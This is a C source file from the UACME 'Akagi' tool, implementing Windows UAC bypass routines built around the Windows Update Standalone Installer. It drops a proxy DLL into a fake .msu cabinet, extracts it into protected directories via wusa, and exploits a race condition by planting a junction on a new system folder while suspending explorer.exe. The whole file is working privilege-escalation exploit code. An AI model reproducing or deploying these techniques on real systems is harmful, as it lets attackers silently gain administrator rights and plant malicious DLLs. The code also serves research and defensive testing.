UACME/Source/Akagi/methods/wusa.c

456 lines
12 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2017
*
* TITLE: WUSA.C
*
* VERSION: 2.75
*
* DATE: 30 June 2017
*
* Windows Update Standalone Installer (WUSA) based routines.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
#include "makecab.h"
/*
* ucmWusaExtractPackage
*
* Purpose:
*
* Extract cab to protected directory using wusa.
* This routine expect source as ellocnak.msu cab file in the %temp% folder.
*
*/
BOOL ucmWusaExtractPackage(
_In_ LPWSTR lpTargetDirectory
)
{
BOOL bResult = FALSE;
SIZE_T Size;
LPWSTR lpCommandLine = NULL;
WCHAR szMsuFileName[MAX_PATH * 2];
if (lpTargetDirectory == NULL)
return FALSE;
RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName));
_strcpy(szMsuFileName, g_ctx.szTempDirectory);
_strcat(szMsuFileName, ELLOCNAK_MSU);
Size = ((1 + _strlen(lpTargetDirectory) +
_strlen(szMsuFileName) +
MAX_PATH) * sizeof(WCHAR));
lpCommandLine = (LPWSTR)supHeapAlloc(Size);
if (lpCommandLine) {
_strcpy(lpCommandLine, L"/c wusa ");
_strcat(lpCommandLine, szMsuFileName);
_strcat(lpCommandLine, L" /extract:");
_strcat(lpCommandLine, lpTargetDirectory);
bResult = supRunProcess(CMD_EXE, lpCommandLine);
supHeapFree(lpCommandLine);
}
DeleteFile(szMsuFileName);
return bResult;
}
/*
* ucmCreateCabinetForSingleFile
*
* Purpose:
*
* Build cabinet for usage in methods where required 1 file.
*
*/
BOOL ucmCreateCabinetForSingleFile(
_In_ LPWSTR lpSourceDll,
_In_ PVOID ProxyDll,
_In_ DWORD ProxyDllSize,
_In_opt_ LPWSTR lpInternalName
)
{
BOOL cond = FALSE, bResult = FALSE;
CABDATA *Cabinet = NULL;
LPWSTR lpFileName;
WCHAR szMsuFileName[MAX_PATH * 2];
if ((ProxyDll == NULL) ||
(ProxyDllSize == 0) ||
(lpSourceDll == NULL)) return bResult;
do {
//drop proxy dll
if (!supWriteBufferToFile(lpSourceDll, ProxyDll, ProxyDllSize)) {
break;
}
//build cabinet
RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName));
_strcpy(szMsuFileName, g_ctx.szTempDirectory);
_strcat(szMsuFileName, ELLOCNAK_MSU);
Cabinet = cabCreate(szMsuFileName);
if (Cabinet == NULL)
break;
if (lpInternalName == NULL) {
lpFileName = _filename(lpSourceDll);
}
else {
lpFileName = lpInternalName;
}
//put file without compression
bResult = cabAddFile(Cabinet, lpSourceDll, lpFileName);
cabClose(Cabinet);
} while (cond);
DeleteFile(lpSourceDll);
return bResult;
}
/*
* ucmWusaCabinetCleanup
*
* Purpose:
*
* Remove fake msu file.
*
*/
VOID ucmWusaCabinetCleanup(
VOID)
{
WCHAR szMsuFileName[MAX_PATH * 2];
RtlSecureZeroMemory(szMsuFileName, sizeof(szMsuFileName));
_strcpy(szMsuFileName, g_ctx.szTempDirectory);
_strcat(szMsuFileName, ELLOCNAK_MSU);
DeleteFile(szMsuFileName);
}
volatile ULONG g_ThreadFinished = 0;
/*
* ucmxInvokeWusaThread
*
* Purpose:
*
* Start wusa and wait a bit.
*
*/
DWORD ucmxInvokeWusaThread(
PVOID Param)
{
SHELLEXECUTEINFO shinfo;
WCHAR szProcess[MAX_PATH * 2];
WCHAR szParameters[MAX_PATH * 3];
UNREFERENCED_PARAMETER(Param);
InterlockedExchange((LONG*)&g_ThreadFinished, 0);
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
_strcpy(szProcess, g_ctx.szSystemDirectory);
_strcat(szProcess, WUSA_EXE);
RtlSecureZeroMemory(szParameters, sizeof(szParameters));
_strcpy(szParameters, TEXT(" /quiet "));
_strcat(szParameters, g_ctx.szTempDirectory);
_strcat(szParameters, ELLOCNAK_MSU);
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_NO_UI;
shinfo.lpFile = szProcess;
shinfo.lpParameters = szParameters;
shinfo.nShow = SW_HIDE;
if (ShellExecuteEx(&shinfo)) {
if (WaitForSingleObject(shinfo.hProcess, 1000) == WAIT_TIMEOUT)
TerminateProcess(shinfo.hProcess, 0);
CloseHandle(shinfo.hProcess);
}
Sleep(1000);
InterlockedExchange((LONG*)&g_ThreadFinished, 1);
return 0;
}
/*
* ucmxDirectoryWatchdogThread
*
* Purpose:
*
* Monitor directory creation in system root directory.
* When it happened - set reparse point.
*
*/
DWORD ucmxDirectoryWatchdogThread(
PVOID Param)
{
BOOL bCond = FALSE, bResult = FALSE;
NTSTATUS status;
HANDLE hDirectory = NULL, hReparseDirectory = NULL, hEvent = NULL;
IO_STATUS_BLOCK IoStatusBlock;
OBJECT_ATTRIBUTES ObjectAttributes;
LPWSTR lpTargetDirectory = (LPWSTR)Param;
PVOID Buffer = NULL;
SIZE_T memIO = 0;
FILE_NOTIFY_INFORMATION *pInfo = NULL;
LPWSTR CapturedDirectoryName = NULL, lpEnd = NULL;
WCHAR szBuffer[MAX_PATH + 1];
UNICODE_STRING usTargetDirectory, usWatchDirectory, usReparseDirectory;
do {
//
// Convert target directory path to native form.
//
usTargetDirectory.Buffer = NULL;
if (!RtlDosPathNameToNtPathName_U(lpTargetDirectory, &usTargetDirectory, NULL, NULL))
break;
//
// Convert watch directory path to native form.
//
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
szBuffer[0] = L'\\';
szBuffer[1] = L'?';
szBuffer[2] = L'?';
szBuffer[3] = L'\\';
_strncpy(&szBuffer[4], MAX_PATH, g_ctx.szSystemDirectory, 3);
//
// Open directory for change notification.
//
usWatchDirectory.Buffer = NULL;
RtlInitUnicodeString(&usWatchDirectory, szBuffer);
InitializeObjectAttributes(&ObjectAttributes, &usWatchDirectory, OBJ_CASE_INSENSITIVE, 0, NULL);
status = NtCreateFile(&hDirectory,
FILE_LIST_DIRECTORY | SYNCHRONIZE,
&ObjectAttributes,
&IoStatusBlock,
NULL,
FILE_OPEN_FOR_BACKUP_INTENT,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN,
FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (!NT_SUCCESS(status))
break;
memIO = 1024 * 1024;
Buffer = supHeapAlloc(memIO);
if (Buffer == NULL)
break;
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, 0, NULL);
status = NtCreateEvent(&hEvent, EVENT_ALL_ACCESS, &ObjectAttributes, NotificationEvent, FALSE);
if (!NT_SUCCESS(status))
break;
//
// Watch for directory changes.
//
do {
status = NtNotifyChangeDirectoryFile(hDirectory, hEvent, NULL, NULL,
&IoStatusBlock, Buffer, (ULONG)memIO, FILE_NOTIFY_CHANGE_DIR_NAME, TRUE);
if (status == STATUS_PENDING)
NtWaitForSingleObject(hEvent, TRUE, NULL);
NtSetEvent(hEvent, NULL);
pInfo = (FILE_NOTIFY_INFORMATION*)Buffer;
for (;;) {
if (pInfo->Action == FILE_ACTION_ADDED) {
memIO = pInfo->FileNameLength +
((1 + _strlen(szBuffer)) * sizeof(WCHAR));
CapturedDirectoryName = supHeapAlloc(memIO);
if (CapturedDirectoryName) {
_strcpy(CapturedDirectoryName, szBuffer);
lpEnd = _strend(CapturedDirectoryName);
RtlCopyMemory(lpEnd, pInfo->FileName, pInfo->FileNameLength);
//
// Open new directory to set reparse point.
//
usReparseDirectory.Buffer = NULL;
RtlInitUnicodeString(&usReparseDirectory, CapturedDirectoryName);
InitializeObjectAttributes(&ObjectAttributes, &usReparseDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = NtCreateFile(&hReparseDirectory,
FILE_ALL_ACCESS,
&ObjectAttributes,
&IoStatusBlock,
NULL,
0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
FILE_OPEN,
FILE_OPEN_REPARSE_POINT | FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (NT_SUCCESS(status)) {
//
// Set reparse point.
//
bResult = supSetMountPoint(hReparseDirectory,
usTargetDirectory.Buffer,
lpTargetDirectory);
}
status = STATUS_NO_SECRETS;
}
} //Action
if (status == STATUS_NO_SECRETS)
break;
pInfo = (FILE_NOTIFY_INFORMATION*)(((LPBYTE)pInfo) + pInfo->NextEntryOffset);
if (pInfo->NextEntryOffset == 0)
break;
}
} while (NT_SUCCESS(status));
} while (bCond);
//
// Cleanup.
//
if (hEvent)
NtClose(hEvent);
if (hDirectory != NULL)
NtClose(hDirectory);
if (usTargetDirectory.Buffer)
RtlFreeUnicodeString(&usTargetDirectory);
if (Buffer != NULL)
supHeapFree(Buffer);
//
// Remove reparse point.
//
if (CapturedDirectoryName) {
while (g_ThreadFinished != 1)
Sleep(100);
if (hReparseDirectory) {
supDeleteMountPoint(hReparseDirectory);
NtClose(hReparseDirectory);
}
RtlInitUnicodeString(&usReparseDirectory, CapturedDirectoryName);
InitializeObjectAttributes(&ObjectAttributes, &usReparseDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtDeleteFile(&ObjectAttributes);
supHeapFree(CapturedDirectoryName);
}
return (DWORD)bResult;
}
/*
* ucmWusaExtractViaJunction
*
* Purpose:
*
* Extract cab contents to the specified directory by initializing wusa race condition.
* This routine expect source as ellocnak.msu cab file in the %temp% folder.
*
*/
BOOL ucmWusaExtractViaJunction(
_In_ LPWSTR lpTargetDirectory
)
{
BOOL bCond = FALSE;
#ifndef _DEBUG
HANDLE hExplorer = NULL;
#endif
HANDLE hWatchdogThread, hWusaThread;
DWORD ti;
//
// Query explorer.exe handle and use it to suspend process.
// Thus blocking unwanted user changes during work.
//
#ifndef _DEBUG
hExplorer = supGetExplorerHandle();
if (hExplorer != NULL) {
NtSuspendProcess(hExplorer);
}
#endif
do {
//
// Run watchdog thread.
//
hWatchdogThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ucmxDirectoryWatchdogThread, lpTargetDirectory, 0, &ti);
if (hWatchdogThread == NULL)
break;
//
// Run wusa in separate thread.
//
hWusaThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ucmxInvokeWusaThread, NULL, 0, &ti);
if (hWusaThread) {
if (WaitForSingleObject(hWusaThread, 15000) == WAIT_TIMEOUT)
TerminateThread(hWusaThread, 0);
CloseHandle(hWusaThread);
}
if (WaitForSingleObject(hWatchdogThread, 10000) == WAIT_TIMEOUT)
TerminateThread(hWatchdogThread, 0);
CloseHandle(hWatchdogThread);
} while (bCond);
#ifndef _DEBUG
if (hExplorer != NULL) {
NtResumeProcess(hExplorer);
NtClose(hExplorer);
}
#endif
return (g_ThreadFinished == 1);
}